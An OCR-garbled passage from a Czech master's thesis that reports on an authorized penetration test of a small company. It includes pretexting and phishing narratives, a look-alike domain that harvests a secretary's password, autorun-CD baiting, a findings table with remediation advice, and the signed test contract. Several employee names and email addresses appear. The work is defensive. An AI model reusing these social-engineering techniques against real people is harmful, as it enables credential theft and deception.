fyzického i dusevniho vlastnictvi firmy. Absolvovali pravidelnd Skoleni a podepsali
vyhlasky vedeni spolecnosti dle nastolenych pravidel ISO 9001 (2006), které se snazi

firma dodrzovat.

O provedeném testovani védélo jen Uzké vedeni spolecnosti, kterym jsem byl plné

zmocnén k pouziti nasledujicich technik testovani: Pretexting, Phishing, Baiting.

Test ¢. 16

Testovani pomoci techniky pretexting
Na webovych strankach spolecnosti jsem vyhledal telefonni kontakt na sekretairku
spole¢nosti. Dale jsem zde zjistil, ze firma spolupracuje s firmou GFI. Jeji jméno jsem se

rozhodl vyuzit jako zastérku pro ziskani kontaktu na administratora firmy Nsol, s.r.o.

Po vytoceni kontaktniho telefonniho ¢isla jsem se ptedstavil jako pracovnik spole¢nosti
GFI a poprosil jsem sekretaiku Libusi Koci o piepojeni na administratora z divodu feseni
technického problému. Pani Koc¢i mé bezprostiedné piepojila. Po prepojeni jsem se
administratorovi (Jaroslav Novak) piedstavil a vysvétlil mu, Ze voldm ze spolecnosti GFI
a feSim technicky problém, ktery mi byl pfedan kolegy. Odvétil, Ze Zddny problém nemayji,
a proto jsem ho alespon pozadal o potvrzeni jeho emailu (domnénka) novak@nsol.cz. Pan

Novak mé opravil, Ze jeho email je jaroslav.novak@nsol.cz.

Pro zjisténi hlavi¢ky a vzoru emailu testované spolecnosti jsem zalozil na webové strance
Seznam.cz emailovou schranku pavel.kucera9@seznam.cz. Pro potvrzeni domnénky o tvaru
emailového uctu pani Koci jsem ji zaslal email na adresu libuse.koci@nsol.cz. Email
obsahoval domnélou Z4adost o pracovni misto. Na odeslany email mi pani Ko¢i odpovédéla

nasledujici pracovni den, a tim jsem ziskal prvni vzor firemniho emailu.

Posléze jsem poslal email se stejnym obsahem administratorovi, panu Novakovi. Rovnéz
odpoveédél nasledujici pracovni den s tim, ze piedal mou zadost o pracovni misto vedeni

spolecnosti. Tak jsem ziskal dal$i vzor firemniho emailu.

Emailové vzory jsem pak porovnal a nésledné potvrdil identitu firmy Nsol, s.r.o.
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Vysledek zjisteni

* Jméno sekretarky: Libuse Koci

* Jméno administratora: Jaroslav Novak

* Emailova adresa sekretarky: libuse.koci@nsol.cz

* Emailova adresa administratora: jaroslav.novak@nsol.cz

* Vzor emailu véetné korporatni identity

Test €. 17

Testovani pomoci techniky phishing

Na strance registratora domén Forpsi.cz jsem zjistil dostupnost domény se stejnym ndzvem
Nsol. Nasledné jsem zakoupil nadnarodni doménu .eu se zachovanim plivodniho nazvu

spole¢nosti, a tak jsem pro budouci test ziskal doménu nsol.eu.

Po zaplaceni doslo k nasmérovani DNS zdznamu na nové postaveny mail server. Na
daném serveru jsem vytvoril ucty pana Novaka a pani Koc¢i. Pomoci MS Outlook jsem
zrekonstruoval emailovy vzor a sepsal email, tentokrdt pod hlavickou pana Novaka
(jaroslav.novak@nsol.eu), ktery jsem pak poslal pani Ko¢i (libuse.koci@nsol.cz). Vytvoiil
jsem text, kde administrator zada pani Koci, aby mu zaslala své ptihlasovaci tdaje z di-
vodu testovani nové aplikace. Potvrdil se mij predpoklad, Zze si sekretatka nepovsimne

zaménéné domény, a tak jsem pozadované prihlasovaci udaje bez problémt obdrzel.

Vysledek
Na zéklad¢ emailové komunikace bylo zjisténo piihlasovaci jméno a heslo uZzivatelky
Libuse Koci, které mize potencidlni utocnik dale zneuzit pro ziskéni dalSich podobné

citlivych informaci.
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/A Soucast Windows Desktop Search neni k dispozici. E

Obrazek 56. Socialni inzenyrstvi (phishing) — emailova komunikace (vyzrazeni hesla)

Test ¢. 18

Testovani pomoci techniky baiting

Testoval jsem za pomoci zapomenutych medii, kterd jsem nechal leZet na pracovnich
stolech vybranych uZzivatelll. Na atraktivné oznacené CD disky jsem nainstaloval neSkodné
modifikovanou verzi ,,autorun®, kterd byla lehce detekovatelna antivirovym programem.
Zpétnou vazbu o poctu pouzitych diskll jsem po skonceni testu ziskal u administratora

spole¢nosti.

Vysledek
Testovani technikou baiting prokézalo, ze nejslabSim c¢lankem systému je podle vSech

predpokladii ¢lovek (lidsky faktor).
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Obrazek 57. Socialni inZzenyrstvi (baiting) — nastrazené médium
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In the arid vou can see:
1..19 (19 items) of all 19 items

View mode: IFuII Wiew Mode -

C.. + 5| Comp... | MAC Ad... | Primary Server I Domain | P . | Product Mame | Product. .. | Last Threat Alert 53
ESphp,,. Phpe... 001999,  Srv-pdc Jdocal  192.168...  ESET NOD3Z2 Antivirus 4.2.71

EMb-.,, Mb-so,.. 001742,  Srv-pdc Jdocal  192,168...  ESET NOD3Z Antivirus BUSL..  4.2.67 IMFfautarun, 52 virus
E&mth,,, Mtb-k.. Zcd444...  Seve-pdc Jocal 192,168,  ESET NODEZ Antivirus BUSL..  4.2.76 INFfAutarun, 52 virus
S Weh, ., Mth-si,..  2cd444...  Sry-pdc Jdocal 192,168,  ESET NOD32 Antivirus BUSL..  4.2.76 IMFfautarun, 52 virus
K& 0y, Owvpc... 001999, Sry-pdc Jocal 192,168,  ESET NODEZ Antivirus BUSL..  4.2.76 INFfAutarun, 52 virus
S Weh,,, Mtbeb,.,  8c736e...  Srv-pde Jocal  192.168...  ESET NOD32 Antivirus BUSL..  4.2.71 IMFfautarun, 52 virus
K& oy, Ov_e.. 001999, Sry-pdc Jocal  192,168,.,  ESET NOD3Z Antivirus BUSLL.,  4.2.71 INFfAutarun, 52 virus
S oy-.,, Ov-p... 003005, Sry-pdc Jocal  192.168...  ESET NODS3Z Antivirus BUSL..  4.2.67 IMFfaukorun, 52 virus
ESWth... Mth-h... &c736e...  Srv-pde Jdocal  192.168...  ESET NODSZ Antivirus BUSL...  4.2.76 THFfAutarun. 52 virus
S5 ptb,.,  MEbe 002710..,  Srv-pdc Jocal 192.168.., ESET NOD3Z Antivirus BUSL..  4.2.76

bz dhz 001999, .. Srv-pdc Jdocal  192.168...  ESET NODS3Z Antivirus BUSL...  4.2.67 INFfAutarun. 52 virus
ES weh, ., Mebefida  FO7bch..,  Srv-pdc Jocal  192.168...  ESET NOD3Z Antivirus BUSL..  4.2.71 IMFfaukorn, 52 virus
ESpop... Pope...  O0lccd...  Srv-pdc Jdocal  192.168...  ESET NODS3Z Antivirus BUSL...  4.2.76 INFfAutarun. 52 virus
By, 0014Za...  Srv-pdc Jocal  192.168...  ESET NOD3Z Antivirus 4.2.67 IMFjaukorn, 52 virus
& b, 20107a,..  Srv-pdc Jocal 192.168.., ESET NOD32 Antivirus BUSL..  4.2.76

& con,.. 001999,..  Srv-pdc Jocal  192.168...  ESET NOD3Z2 Antivirus BUSL..  4.2.71

o, 001992,.,  Srv-pdc Jocal 192,168... ESET NOD32 Ankivirus BUSL.,  3.0,672

& ptb, . Zed444...  Srv-pdc Jocal 192168,  ESET NOD3Z Ankivirus BUSL.,  4.2.76

& con,.. 001999, Srv-pdc Jdocal | 192.168...  ESET NOD32 Antivirus BUSL..  4.2.71

Obrazek 58. ESET administratorska konzole ukazuje, kdo spustil nastrazené CD
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6 ANALYZA PROVEDENEHO TESTOVANI

O vysledku testovani byla spole¢nost Nsol s.r.0. informovana 31. kvétna 2013 pfi spolecné
schlizce vedeni spoleCnosti s bezpecnostnim konzultantem Zbyiikkem Slezdkem. Schizky
se ucastnil také administrator spravujici ve spolecnosti IT. Firmé byly pfedlozeny vysledky

v podobé prehledné tabulky (viz nize).

Hodnoceni a doporuceni

Zjisténi

Hodnoceni
rizika

Dopad

PFi skenovani cilovych systéma
(XXX.XXX.209.48) jsem zjistil, ze
spole€nost vyuziva server, ktery jiz neni
podporovany vyrobcem SW.

Doporucuji analyzovat skute€nost co
nejdfive s administratorem a presunout
veskera data do aktualné podporovaného
systému.

Poznamka pro administratora:

Linuxovy server Debian lenny 5.0 ukongil
podporu v ¢ervnu 2012.

Obrana

Tato skuteénost muze pfitahovat
pozornost potencialnich uto¢niku.
Zjisténa hrozba Apache http
Server Byte Range DosS.

Pokud by byl utok realizovan,
mohl by znamenat nedostupnost
serveru.

Na filtraénim zafizeni (XXX.XXX.209.69)
pro emailovou komunikaci nalezena
hrozba Apache http Server Byte Range
DoS. Zakladem takovéhoto zafizeni byva
Casto upravena verze linuxu, kterou je
tfeba aktualizovat podle doporuceni
vyrobce.

Poznamka pro administratora: Doporucuji
kontaktovat zakaznickou podporu vyrobce
a zajistit upgrade firmwaru.

Instalace nového
operacniho systému a
nasledné pfesunuti dat.

Hrozba muze zpUlsobit ohrozeni
v podobé vyfazeni systému pro
filtrovani emailu a v dlsledku
toho nefunkénost emailové
komunikace.

PFi podrobnéj$im zkoumani nalezena
chyba nastaveni linuxového serveru
(XXX.XXX.188.20) — oteviena ,SMTP
Relay“. Tato vlastnost umozriuje odesilat
jakékoliv emaily z daného serveru (napr.
uto€nik typu spamer).

Poznamka pro administratora:
Doporucuiji toto nastaveni pro konkrétni
server zmenit.

Instalace nového
firmware od vyrobce.

Doména, ktera je navazana na
adresu tohoto serveru se miize
ocitnout na ¢erné listing, coz
bude mit za nasledek
nedlvéryhodnost domény a
nasledné nedoruceni email(.

PFi internim testovani byl simulovan utok
zvany ARP Spoofing ,Man In The Middle*
(,Muz uprostfed®). Utok mél za cil provéfit
reakci firewallu na tuto hrozbu. DoSlo k
odklonéni provozu mezi uzivatelem a
firewallem. Vysledkem toho jednani byl
odposlech veskerého provozu mezi
uzivatelem a firewalem. Pfi utoku DNS
Spoofing doslo k odcizeni hesla do
facebooku.

Zménit konfiguraci
Jpostfixu®.

Mozny odposlech sitového
provozu a nasledné zneuziti
citlivych informaci.

Stredni

Doporucuji zakoupeni
sofistikovanéjsiho
firewallu, ktery tento
utok odhali a odrazi.
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Pro ovéfeni bezpec€nosti bezdratovych siti
jsem se pokusil prolomit WEP Sifrovani
(pouzito na pobocce v Brné) a WPA
Sifrovani (pouzito na pobocéce v Ostravé).
Testovani potvrdilo, ze WEP Sifrovani je
uz dnes zastaralé, a proto se mi také
podafrilo ziskat pozadovany kli¢
pristupového bodu.

Poznamka pro administratora:

Dlvod pouziti WEP?

Méfeni ukazalo, ze potencialni
utocnik je schopen proniknout do
systému bez jakychkoliv
predeslych znalosti firmy.

Pozor, wifi signal nekong&i zdmi
objektu spolec¢nosti!

Bé&hem provadéni analyzy webovych
aplikaci jsem zjistil nestandardni nastaveni
webového serveru, a to adresarové
prochazeni ve struktufe stranky. Na

P¥i zjisténi tohoto chovani maze
dojit k pfilakani pozornosti
potencialniho Uto¢nika. Hrozba
DoS muze zpusobit nedostupnost

Doporuéuji (minimalné)
pouziti Sifrovani WPA2
a pro zvyseni
bezpecénosti RADIUS
server.

Doporuéuji aktualizaci
webového serveru.

serveru XXX.XXX.209.48 byla nalezena webového serveru. Nizke

zranitelnost DoS (PHP Web Form Hash

Collision Denial Of Service Vulnerability).

Fyzické zabezpeceni urcitych ¢asti Manipulace s AP muze zpusobit Doporuéuiji

systému je nevyhovujici. Pro zabezpec€eni | naruSeni bezpeénosti ochrany zabezpeceni koncovych
pfistupovych bodu doporucuji AP umistit sité a nefunkénost systému. Casti sité a presunuti
do uzamykatelnych krabic Vypadek zdroja (datovych, kli¢ovych systém0 do
(umélohmotnych). silovych) centralniho mista ma za datového centra.
Doporucuiji zfizeni zalozni konektivity nasledek také nefunk&nost

internetu (spole¢nost si musi polozit ostatnich pobocek. Stiedni

otazku, kolik ji stoji hodina prodlevy

Vv pracovni dobé).

Poznamka pro administratora:

Bylo by vhodné uzamknout BIOS vSech
firemnich PC z diivodu ochrany pred
spusténim média pfi bootovani.

V prabéhu celého testovani byl soubézné
provadeén test socialniho inzenyrstvi.
Pomoci technik ,pretexting, phishing a
baiting“ se mi podafilo infiltrovat vir do PC
a ziskat pfihlaSovaci udaje sekretarky
LibuSe Koci. K tomu mi dopomohlo téz
zakoupeni domény nsol.eu, kterou jsem
vyuzil k faleSné konverzaci mezi
sekretarkou a mou osobou (vystupujici
jako administrator).

Tento Utok vyuzil nepozornosti (neznalosti)
uZivatele.

Poznamka pro administréatora:

Vypnout autorun na firemnich PC.

Bez vétSich IT znalosti Ize
pomoci technik pretexting a
phishing dosahnout vyznamnych
vysledk( srovnatelnych

s profesionalnim technickym
utokem.

Pamatovat na to, Ze nejslabSim
¢lankem systému je Clovek!

Na postovnim serveru
nastavit upozorfiovani
na prichozi anomalie
(napf. nsol.cz vs.
nsol.eu).

Skolit zaméstnance
ohledné spravného
zachazeni s médii.
Vyuzit této metody

k provadéni vlastniho
interniho testovani.
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ZAVER
Cilem této prace bylo popsat, co jsou to penetracni testy, poukazat na jejich vyznam a uplat-

néni ve firemnim prostredi.

Prace se vénovala nejen vSeobecnému popisu a rozdéleni penetracniho testovani, ale také
popisu jiz znamych metodik jako jsou OPSTMM nebo OWASP. Kladla si otazku tlohy
norem pii budovani firemni bezpecnosti a aplikace penetracniho testovani. Nastinila
pohled norem na pozadavky ohledn¢ systému fizeni bezpe¢nosti informaci, managementu

rizik, metriky a méfeni vykonu a mozného vyuziti pii provadéni penetrac¢niho testovani.

Soucasné vyvojové trendy v oblasti bezpecnostnich hrozeb piinesla prace ve stru¢ném
ptehledu. Nastinila naptiklad problematiku botnetovych siti, malware nebo piibyvajicich
hackerskych Utoki na mobilni zafizeni. Poukdzala na né jako na znepokojujici faktor

pusobici na firemni bezpecnost.

Prakticka ¢ast se vénovala navrhu penetracniho testu, ktery se opira o praktické zkusenosti
autora diplomové prace z oblasti firemni bezpecnosti. Metodika penetra¢niho testovani
byla rozdélena do né€kolika zdkladnich skupin. Prvni dva testy byly provadény z externiho
a interniho pohledu, dalsi cilil na bezdratové sité. Zbyvajici tfi skupiny testi byly

zam¢efeny na webové aplikace, lidské zdroje a fyzickou bezpecnost.

Po navrhu metodiky penetraéniho testu nasledovalo praktické uplatnéni na vybrané
konkrétni firmé. Test mél za kol odhalit slaba mista systému, kterd by potencidlni uto¢nik
mohl zneuzit. Potvrdil, Ze penetracni testy by mély tvofit nedilnou soucdst budovani

firemni bezpecnosti.

Podaftilo se odhalit slabiny systému ve vSech smérech testovanych oblasti. Neaktudlnost
webového serveru ukazala na moZnost hrozby DoS utokem. Technika MITM vyuzita
Vv procesu interniho testovani byla uspéSna pii odcizeni citlivych dat z facebookového
profilu jednoho ze zaméstnanct testované firmy. Testovani bezdratovych siti poukazalo na
nedostatené WEP Sifrovani v jedné z firemnich pobocek, coZz bylo pfic¢inou ziskani
ptihlaSovaciho kli¢e. Nedostatky byly shledany i v oblasti fyzické bezpecnosti — koncové
prvky sit€¢ nebyly zabezpeceny podle danych standardf. Jako nejvice ohrozujici se vSak
ukédzalo naivni a nezodpovédné chovéani firemnich zaméstnanct. Ptikladem takového
chovani byla moznost odcizeni pfihlaSovacich Udaji a potencidlni napadeni firemnich

pocitact.
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Pfi nésledném projednani vysledku testil se zadavatelem bylo zifejmé jeho prekvapeni, ale
po delsi debaté¢ nad konkrétnimi problémy doslo k jejich pochopeni a okamzitému
planovani odstranéni vSech zjisténych hrozeb. Jednim z prvnich krokl v procesu zlepseni
bezpecnostni situace firmy bylo rozhodnuti o koupi kvalitniho firewallu a o nasledné
pomoci s jeho nakonfigurovanim. Také byla dohodnuta dal$i spoluprace v podobé

opakovani penetracnich testll po uplynuti Sesti mésicii.

Z pohledu bezpecnostniho konzultanta dopadl test uspésné, nebot’ pomohl odhalit skutecné
hrozby, které na systém pusobily. Na zdklad¢ té€chto zjisténi mize firma lépe reagovat na

pripadna rizika spojend s hackerskymi utoky a zvysit tak vii¢i nim svoje zabezpeceni.
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ZAVER V ANGLICTINE

The aim of this study was to describe what the penetration tests are and to show their

importance and application in the business environment.

The work is devoted not only to general description and distribution penetration testing but
also to a description of known methods such as OPSTMM or OWASP.Specification of this
study is to question the role of standards in building of corporate security and application
penetration testing. Standards outlined a view of the requirements for information security
management system, risk management, metrics and performance measurement and

potential use in carrying out penetration testing.

Recent trends in security threats are mention briefly in this study. For example the outlined
issues of bot networks, malware or hacking of rising attacks on mobile devices. My work

referred to them as disturbing factor influencing corporate security.

The practical part is devoted to design penetration test which is based on the practical
experience of the author of this study in the field of corporate security. Methodology
penetration testing was divided into several groups. The first and second tests were
conducted by an external and internal perspective aiming for other wireless networks. The
remaining three test groups were focused on web applications also on human resources and

physical security.

At the end of designing the methodology, penetration test was followed by practical
application in the specifically selected company. The test aim was to detect system
vulnerabilities that could potentially allow an attacker to exploit. This test also confirmed

that penetration testing should be an integral part of building corporate security system.

We were able to detect the weaknesses of the system in all directions tested areas. The web
server pointed to potential threats of DoS attack. MITM technique utilized in the process of
internal testing was successful in theft of sensitive data from facebook profile that has been
used on one of the employee tested company. Testing wireless networks pointed to the lack
of WEP encryption in one of the branch offices, which was the cause of getting login
keys/passwords. These shortcomings were found also in the area of physical security - the
final elements of the network are not secured in accordance with those standard ones. As

the most threatening was the naive and irresponsible behavior of corporate employees. An
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example of such behavior was the possibility of stolen credentials and potential attack
corporate computers.

In the subsequent discussion of the results of tests the client was clear surprised, but at the
end of the subsequent debate over specific issues they were understand and planning of
immediate removal of all detected threats came on schedule . One of the first steps in the
improvement of the security situation of the company was the decision to buy a high
quality firewall and subsequent assistance with configuring it. It was also agreed to further

cooperation in the form of repetition penetration tests after six months,

From the perspective of security consultant the test was successfully, it helped uncover the
real threats to the operated system. Based on these findings the company can better
respond to potential risks associated with hacker attacks and increase their security against

them.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK

ACS
AES

Access Control System

Advanced Encryption Standard

Access Point

Address Resolution Protocol

Application Security Verification Standard
Basic input output system

Basic Service Set Identifier

Compact Disc

Common Gateway Interface

Dynamic Host Configuration Protocol
Domain Name System

Denial of Service

Distributed Denial Of Service

Digital Video Disc

File Management System

File Transfer Protocol

Graphical User Interface

Hard Disk Drive

HyperText Markup Language

Hardware

Intrusion Detection Systém

International Electrotechnical Commission
Institute of Electrical and Electronics Engineers
Internet Information Services

Instant Messaging

Internet Protocol

Intrusion Prevention System

Internet Relay Chat

Information Systems

Information Necurity Management System
International Organization for Standardization
Information Technology
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ICT
\Y,

IVR
J2EE
LAN
LDAP
MBR
MITM
NFS

NH

0S
0SSTMM
OWAPS
P2pP

PC

PDC
PDCA
POP
PPP
PSK
PTK

QR
RADIUS
RDP
SMB
SMTP
SNMP
SQL
SSID
SwW
TAS
TCP
TGISTA

Information and communications technology
Initialization Vector

Interactive Voice Response

Java 2 platform Enterprise Edition
Local Area Network

Lightweight Directory Access Protocol
Master Boot Record

Man In The Middle

Network File System

Narodni Hospodaistvi

Operating Systems

Open Source Security Testing Methodology Manual
Open Web Application Security Project
Peer to Peer

Personal Computer

Primary Domain Controller

Plan Do Check Act

Post Office Protocol

Point to Point Protocol

PreShared Key

Pairwise Transient Key

Quick Response Code

Remote Authentication Dial In User Service
Remote Desktop Protocol

Sereve Message Block

Simple Mail Transfer Protocol

Simple Network Management Protocol
Structured Query Language

Service Set Identifier

Software

Transport Aplication Server

Transmission Control Protocol

Technical Guide to Information Security Testing and Assessment
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UAC
UDP
USB
VNC
VPN
WAF
WAN
WEP
Wi-Fi
WLAN
WPA
WWW
XML

User Account Control

User Datagram Protocol
Universal Serial Bus

Virtual Network Computing
Virtual Private Network
Web Application Firewall
Wide Area Network

Wired Equivalent Privacy
Wireless Fidelity

Wireless Local Area Network
Wi-Fi Protected Access
World Wide Web

Extensible Markup Language
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PRILOHA P I: UDELENI SOUHLASU S POUZITIM CASTI CSN

Utad pro technickou normalizaci, metrologii a statni zkugebnictvi (UNMZ), udéluje timto panu Zbyiiku
Slezakovi, autorovi diplomové préce ,Bezpenostni audity a pentesting ve firemnim prostfedi”
souhlas s pouZitim &asti CSN ISO/IEC 17799:2006, €SN ISO/IEC 27001:2005, €SN ISO/IEC 27006:2013
(vybrané &ésti kapitol) za ucelem poufiti ve vyse uvedené diplomové praci a to pod podminkou
informovéni o zdroji informace.

Bc. Patrik Vagel

Zéstupce feditele, KancelaF Utadu




PRILOHA P II: SMLOUVA O DiLO (STRANA C. 1)

Smlouva o dilo
(penctraéni testovani spolecénosti — s.r.o.)

ing. I, 1C: I s sidlcm Ostrava (objednatel)
a

Be. Zbynek Slezak (zhotovitel)
uzaviraji tuto smlouvu o dilo:

L. PFedmét smlouyy

Predmétem smlouvy je provedeni penetra¢niho testovani spolegnosti _ 5.1.0.
(dale jen ,.dilo™) dle postupu:

= Externi testovani — penetracni testovani provadéné z vnéjsi sité Internetu

= Interni testovani - penetracni testovani provadéné z vnitini sité intranctu

= Testovani bezdritovych siti — penetracni testovani bezdratovych siti providéné
7 intranetu

* Testovani webovych aplikaci — penctraéni testovani webovych aplikaci provadéné
z internetu a intranetu

= Testovani fyzické bezpeénosti - penetradni lestovani fyzické bezpeénosti provadéné
v ramei viech pobocek

* lestovani lidského fakloru — penetraéni testovani technikou socialniho inZenyrstvi
provadéné na zaméstnancich spoleénosti | EEGGs-o-

II. Termin provedeni a predani
Dilo bude zhotoveno do 27. 5. 2013 dle stanoveného harmonogramu:

= Externi testovani — bude provadeno od 18. 4. 2013 do 24. 5. 2013

= Interni testovani — bude provadéno od 6. 5. 2013 do 17. 5. 2013

= Testovani bezdratovych siti — bude provadéno od 6. 5. 2013 do 17. 5. 2013

= Testovani webovych aplikaci - bude provadéno od 18. 4. 2013 do 24. 5. 2013

= Testovani lidskeho faktoru — bude provadeéno od 18. 4. 2013 do 24. 5. 2013

K pfedani a pievzeti dila dojde pii spolecné schizee 28. 5. 2013 v sidle spolecnosti.
Pfevzeti dila bude potvrzeno pisemné. Po vzdjemné dohodé se objednavatel vyjadri
k moZnosti publikovani tohoto dila v diplomové préaci zhotovitele. Bude tak u¢inéno pomoci
dodatku k této smlouvy.




PRILOHA P III: SMLOUVA O DIiLO (STRANA C. 2)

111 DalSi ustanoveni
Penetracni testovani bude nedestruktivni, tudiz nepovede ke kolapsu firemnich &innosti.
Pokud budou provadény testy. které by mohly kratkodobé omezit provoz spole¢nosti. bude se
tak dit ve vecemich hodiniach (od 19 hodin). Zhotoviteli se dava pina pravomoc konat
penetraéni testovani za ucelem analyzy bezpeénosti. Zhotovitel se zavazuje k ochrané
ziskanych dat, a to jak pfi testovani, tak i po ném.

IV. ProhliaSeni stran

Obe strany prohlasuji, 7e si smlouvu o dilo sepsanou na zdkladé svobodné viile precetly a s
jejim obsahem souhlasi. Na dikaz toho pfipojuji své podpisy.

V Ostravé dne 17. 4. 2013

- .Z;v_ T -

Be. Zbynék Slezak (zhotovitel) Ing. | (obiednatel)




PRILOHA P IV: SMLOUVA O DiLO (DODATEK)

Dodatek ke smlouvé
Smlouva o dilo

(penctraéni testovani spoicénosti ||| EEGEGN

(déle jen ,dodatek™)
uzavieny mezi smhuvnimi stranami

Smluvni strany:

Ing. - IC: - se sidlem Ostrava (objednate!)

a

Be. Zbynek Slezik (zhotovitel)

Ob¢ smluvni strany se dohodly na doplnéni Smlouvy penetraéniho testovéni spoleénosti
., uzaviené mezi | 2 Zbyikem Slezakem dne 17, 4. 2013 (dale
jen .smlouva®™), nasledovné:

Clinek I.

Doslo k predani vysledkt penetracniho testovani objednavateli, Na zakladé dohody mezi
objednavatelem a zhotovitelem muze zhotovitel pouzit nashirana data v diplomové préci
..Bezpecnostni audity a pentesting ve firemnim prostiedi*. Podminkou pro zvefejnéni
nasbiranych dat je, Ze nebudou vést k identifikaci spole¢nosti. pro kterou bylo toto testovani
vyhotoveno.
Clinek IL
Zavérefna ustanoveni

Tento dodatek nabyva Gcinnosti dnem podpisu opravnénych smluvnich stran a uzavira se na
dobu neurcitou.

V Ostraveé dne 28. 5. 2013

Be. Zbynek Slezak (zhotovitel) podpis Ing-(objednalel)




